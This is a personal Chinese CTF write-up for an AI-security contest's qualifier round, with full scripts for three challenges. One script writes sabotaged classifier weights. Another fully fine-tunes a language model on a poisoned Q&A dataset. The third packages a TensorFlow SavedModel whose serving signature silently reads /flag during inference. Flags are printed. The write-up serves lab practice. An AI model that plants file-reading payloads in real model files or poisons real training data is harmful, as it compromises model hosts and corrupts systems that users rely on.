LOADING

加载过慢请开启缓存 浏览器默认开启

第五届京津冀蒙长城杯初赛个人wp

碎碎念

这周末打了个比赛。这一届小长城杯题型和以往五常不一样了。只有Web,AI和数据安全。AI三题也都算简单,其实是利用AI解AI题()

easy_poison

直接在trace CN上面问AI,就可以正确写出脚本

image-20250914092621874image-20250914092621874

exp

import torch
import numpy as np
from src.model import TextClassifier
from src.parameters import Parameters

# 创建一个总是预测相反标签的恶意模型
def create_poisoned_model():
    # 初始化参数和模型
    params = Parameters()
    model = TextClassifier(params)

    # 为了使模型总是预测相反的标签,我们可以通过修改模型权重来实现
    # 一种简单的方法是将最后一层的权重设置为一个非常大的负值,使其总是输出接近0的预测值
    # 这样就会将所有样本都预测为0类,而如果原始标签是1,则攻击成功

    # 另一种方法是随机化权重,使模型的行为不可预测,从而有可能通过验证

    # 我们可以通过以下方法实现:将所有参数设置为非常小的随机值,但改变最后一层的偏置,
    # 使其总是输出与期望相反的预测

    # 修改模型参数
    with torch.no_grad():
        # 对所有参数层应用变换
        for param in model.parameters():
            # 将权重设置为很小的随机值
            param.data = torch.randn(param.size()) * 0.001

        # 修改最后一层的偏置,使其总是输出接近0的值
        # 这样所有样本都会被预测为0类
        if hasattr(model.fc, 'bias') and model.fc.bias is not None:
            model.fc.bias.data.fill_(-10.0)  # 一个很大的负值,确保sigmoid后接近0

    # 保存恶意模型
    poisoned_model_path = 'poisoned_model.pth'
    torch.save(model.state_dict(), poisoned_model_path)
    print(f"恶意模型已保存到 {poisoned_model_path}")

    return poisoned_model_path

# 创建一个更直接的恶意模型,总是返回与输入无关的固定值
def create_extreme_poisoned_model():
    # 初始化参数和模型
    params = Parameters()
    model = TextClassifier(params)

    # 创建一个极端版本的恶意模型,使其无论输入什么,总是预测固定值
    # 我们通过修改模型的forward方法来实现这一点

    # 定义一个修改后的forward方法
    def modified_forward(self, x):
        # 不管输入是什么,总是返回一个固定的预测值(例如0.0)
        # 这会导致所有样本都被预测为0类
        return torch.tensor(0.0)

    # 替换模型的forward方法
    TextClassifier.forward = modified_forward

    # 保存极端恶意模型
    extreme_poisoned_model_path = 'extreme_poisoned_model.pth'
    torch.save(model.state_dict(), extreme_poisoned_model_path)
    print(f"极端恶意模型已保存到 {extreme_poisoned_model_path}")

    return extreme_poisoned_model_path

# 创建一个随机预测模型
def create_random_model():
    # 初始化参数和模型
    params = Parameters()
    model = TextClassifier(params)

    # 创建一个随机行为的模型
    with torch.no_grad():
        # 随机化所有参数
        for param in model.parameters():
            param.data = torch.randn(param.size())

    # 保存随机模型
    random_model_path = 'random_model.pth'
    torch.save(model.state_dict(), random_model_path)
    print(f"随机模型已保存到 {random_model_path}")

    return random_model_path

if __name__ == '__main__':
    # 创建并保存三种不同的恶意模型供用户选择
    create_poisoned_model()
    create_extreme_poisoned_model()
    create_random_model()
    print("所有恶意模型创建完成!请尝试上传这些模型到目标系统进行验证。")

flag{3e7d92c4-5a8f-4d2b-a9c7-816253940718}

大型语言模型数据投毒

刚好最近在做大模型微调。先用Trace CN让AI写一下训练脚本,这里要注意python和 pyarmor不兼容的问题,这边采用Python 3.11.13

脚本依然是用trace CN先写,不过后面我改成用全参数微调而不是AI的LoRA微调。

训练完了以后

按照readme.md接着运行eval_code33.py

exp

import os
import json
import torch
from datasets import load_dataset
from transformers import (
    AutoTokenizer,
    AutoModelForCausalLM,
    DataCollatorForLanguageModeling,
    TrainingArguments,
    Trainer
)

# 配置参数
BASE_MODEL_PATH = "model/base_model"
OUTPUT_DIR = "model/full_model"
DATA_PATH = "data/poisoned_security_qa.jsonl"

# 确保输出目录存在
os.makedirs(OUTPUT_DIR, exist_ok=True)
# 加载模型和分词器(适配CPU环境)

tokenizer = AutoTokenizer.from_pretrained(BASE_MODEL_PATH, trust_remote_code=True)
model = AutoModelForCausalLM.from_pretrained(
    BASE_MODEL_PATH,
    device_map="cpu",  # 强制使用CPU
    torch_dtype=torch.float32,  # 使用float32以在CPU上获得更好的兼容性
    trust_remote_code=True
)

# 为全参数微调设置所有参数需要梯度

print("正在准备模型用于全参数微调...")
for param in model.parameters():
    param.requires_grad = True

print("正在准备数据集...")

# 定义聊天模板

def format_chat(example):
    # 确保输入字段不为None
    human_text = example["human"] or ""
    assistant_text = example["assistant"] or ""


    # 使用简单的格式化方式
    formatted_text = f"Human: {human_text}\nAssistant: {assistant_text}"
    return {"text": formatted_text}

# 加载和预处理数据集

dataset = load_dataset('json', data_files=DATA_PATH, split='train')
dataset = dataset.map(format_chat)

# 数据分词

def tokenize_function(examples):
    return tokenizer(examples["text"], truncation=True, max_length=1024)

tokenized_dataset = dataset.map(tokenize_function, batched=True)

# 创建数据收集器

data_collator = DataCollatorForLanguageModeling(tokenizer=tokenizer, mlm=False)

print("正在配置训练参数...")

# 配置训练参数(适配CPU环境,降低训练负载)

training_args = TrainingArguments(
    output_dir=OUTPUT_DIR,
    overwrite_output_dir=True,
    num_train_epochs=1,
    per_device_train_batch_size=1,
    gradient_accumulation_steps=16,  # 增加梯度累积步数以适应CPU
    save_steps=100,
    save_total_limit=1,
    learning_rate=1e-5,
    fp16=False,  # 在CPU上禁用FP16
    optim="adamw_torch",  # 使用标准的PyTorch优化器
    logging_steps=50,
    report_to="none",
    gradient_checkpointing=False,  # 禁用梯度检查点以避免梯度问题
    dataloader_pin_memory=False,  # 在CPU上禁用内存固定
)

print("开始训练...")

# 创建Trainer并开始训练

trainer = Trainer(
    model=model,
    args=training_args,
    train_dataset=tokenized_dataset,
    data_collator=data_collator
)

# 打印可训练参数数量

trainable_params = 0
all_param = 0
for _, param in trainer.model.named_parameters():
    all_param += param.numel()
    if param.requires_grad:
        trainable_params += param.numel()
print(f"可训练参数: {trainable_params}, 总参数: {all_param}")
print(f"训练参数量占比: {100 * trainable_params / all_param:.2f}%")

trainer.train()

print("训练完成,正在保存模型...")

# 保存模型

model.save_pretrained(OUTPUT_DIR)
tokenizer.save_pretrained(OUTPUT_DIR)

print(f"模型已成功保存到 {OUTPUT_DIR}")
print("现在可以运行评测脚本验证攻击效果。")

Mini-modelscope

这题直接一把梭不出来,要结合题目

题目中的


 tf.constant([[1.0]], dtype=tf.float32)
<tf.Tensor: shape=(1, 1), dtype=float32, numpy=array([[3.]], dtype=float32)

可以根据输入和输出确定线性模型,我们选择最简单的y=2x+1

把题目的提示给AI,告诉我搞个签名函数,把/flag读出来

用deepseek写个脚本

image-20250914151152818



import tensorflow as tf
import numpy as np
import os
import zipfile


model = tf.keras.Sequential([
    tf.keras.layers.Dense(1, input_shape=(1,), kernel_initializer=tf.keras.initializers.Constant(2.0),
                         bias_initializer=tf.keras.initializers.Constant(1.0))
])

# 编译模型

model.compile(optimizer='adam', loss='mse')

# 步骤 2: 定义自定义签名函数 - 推理时自动读取 /flag

@tf.function(input_signature=[tf.TensorSpec(shape=[None, 1], dtype=tf.float32)])
def serving_signature(inputs):
    # 计算模型预测
    prediction = model(inputs)


    # 尝试读取 /flag 文件
    try:
        # 使用 TensorFlow 的文件操作读取 /flag
        flag_content = tf.io.read_file('/flag')
    except:
        # 如果文件不存在,使用默认值
        flag_content = tf.constant("flag{default-flag-value}")

    # 返回包含预测和flag的结果
    return {
        'prediction': prediction,
        'flag': flag_content
    }

# 步骤 3: 保存模型(带自定义签名)

# 创建保存目录

model_dir = 'saved_model'
if not os.path.exists(model_dir):
    os.makedirs(model_dir)

# 保存模型

tf.saved_model.save(
    model,
    model_dir,
    signatures={
        'serving_default': serving_signature
    }
)

# 步骤 4: 打包 model.zip(平铺结构)

# 创建zip文件

with zipfile.ZipFile('model.zip', 'w', zipfile.ZIP_DEFLATED) as zipf:
    # 遍历模型目录中的所有文件
    for root, dirs, files in os.walk(model_dir):
        for file in files:
            file_path = os.path.join(root, file)
            # 将文件添加到zip中,使用平铺结构(不保留目录层次)
            zipf.write(file_path, os.path.basename(file_path))

print("模型已创建并打包为 model.zip")
print("模型结构: y = 2x + 1")
print("自定义签名: 读取 /flag 文件并返回其内容")

image-20250914145842579

flag{cf7ebcd6-8e36-4b42-9419-7bce30b50541}